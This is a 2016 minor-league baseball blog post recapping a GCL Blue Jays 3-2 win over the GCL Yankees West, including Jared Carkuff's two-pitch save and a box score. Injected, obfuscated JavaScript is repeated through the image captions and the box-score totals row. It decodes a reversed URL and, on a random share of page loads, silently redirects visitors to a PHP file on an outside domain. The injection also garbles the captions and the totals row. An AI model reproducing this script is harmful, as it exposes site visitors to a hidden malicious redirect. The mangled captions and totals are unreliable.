Carkuff’s two Pitch Seventh Highlights Save
By Eddie Michels on July 9, 2016The GCL Blue Jays reliever Jared Carkuff got things done on just two pitches in the seventh against the Yankees West squad on Friday. Relieving starter Lupe Chavez with none out and the bases loaded in the top of the seventh Carkuff went to work. His first pitch induced the Yankee hitter to ground into a 5-2-3 double play. His next offering had the Yankee player ground out 4-3. Over the final two innings to earn his first save as a pro Carkuff allowed just two hits and lower his era to 1.42.

$mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}tony Fuentes Takes One for the Team (EDDIE MICHELS PHOTO” width=”456″ height=”480″ />
Prospect Antony Fuentes Takes One for the Team (EDDIE MICHELS PHOTO)

$mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}to improve to 3-0 after allowing two runs on seven hits while walking one and striking out three. Chavez lowered his era. to 1.06. (EDDIE MICHELS PHOTO)” width=”253″ height=”380″ />
The GCL Blue Jays continue their winning ways with a 3-2 win over the Yankees West squad on Friday. Lupe Chavez got the win to improve to 3-0 after allowing two runs on seven hits while walking one and striking out three. Chavez lowered his era. to 1.06. (EDDIE MICHELS PHOTO)
GCL Yankees West | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Player | Pos | AB | R | H | 2B | 3B | HR | RBI | BB | SO | AVG* | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Pablo Olivares | CF | 4 | 2 | 3 | 1 | 0 | 0 | 0 | 0 | 0 | .286 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Diego Castillo | SS | 4 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | .311 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Blake Rutherford | DH | 2 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | .083 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Nelson Gomez | 3B | 3 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 | .159 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Miguel Flames | 1B | 4 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | .255 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Leobaldo Cabrera | LF | 3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | .214 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Ozzie Liranzo | C | 4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | .300 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Juan De Leon | RF | 3 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | .250 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Griffin Garabito | 2B | 4 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 | .133 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
$mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>31 | $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>9 | $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>0 | $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>2 | $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>6 |
BATTING
2B: Olivares (2, Chavez, G). TB: Flames, M; Castillo, D 2; De Leon, J; Rutherford; Garabito; Olivares 4. RBI: Gomez, N (6); Rutherford (1). Runners left in scoring position, 2 out: Flames, M; Gomez, N 2; Rutherford 2. SF: Gomez, N; Rutherford. GIDP: Flames, M; Castillo, D. Team RISP: 0-for-6. Team LOB: 8.FIELDING E: Garabito (3, fielding).
|
0 Comments
You can be the first one to leave a comment.